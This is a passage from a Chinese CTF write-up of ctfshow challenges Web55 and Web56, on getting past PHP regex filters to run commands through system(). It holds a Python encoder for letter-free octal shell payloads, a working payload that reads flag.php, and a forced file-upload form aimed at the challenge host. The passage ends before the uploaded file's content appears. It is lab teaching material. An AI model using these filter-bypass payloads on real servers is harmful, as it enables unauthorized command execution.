ctfshow(55,56)--RCE/命令执行漏洞--无字母RCE与强制文件上传RCE

2024/10/27 7:11:23 来源：https://blog.csdn.net/m0_56019217/article/details/143248415 浏览: 次关键词：ctfshow(55,56)--RCE/命令执行漏洞--无字母RCE与强制文件上传RCE

Web55

源代码：

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);

代码审计：

过滤了字母和一些符号。

思路：

使用无字母RCE。
linux系统可以使用$'\xxx'的方式执行命令，其中xxx是符号的ASCII码的八进制形式。
使用脚本构造我们需要的命令：

target = 'ls'
content = "$'"for i in target:asc = ord(i)    #ord函数将字符转换为ASCII码octal = oct(asc)[2:] #oct函数将十进制数转换为八进制字符串,输出为0oxxx。使用字符串切片来只获取数字部分。content += "\\"+octalcontent += "\'"
print(content)

target是我们要执行的命令。

EXP：

由于我们要执行的命令是 cat flag.php,所以构造的payload是：

?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160'

得到flag。

Web56

源代码：

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

代码审计：

过滤了字母和数字，以及一些符号。

思路：

由于过滤了单引号和双引号，所以或运算绕过不能使用。
考虑使用强制文件上传。

先构造一个文件上传页面：

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>POST数据包</title>
</head>
<body>
<form action="http://b3135143-892a-4fe3-b4dc-7a54c640c9b2.challenge.ctf.show/" method="post" enctype="multipart/form-data"><label for="file">文件名：</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后构造一个文本文件，待会我们就要上传这个文件：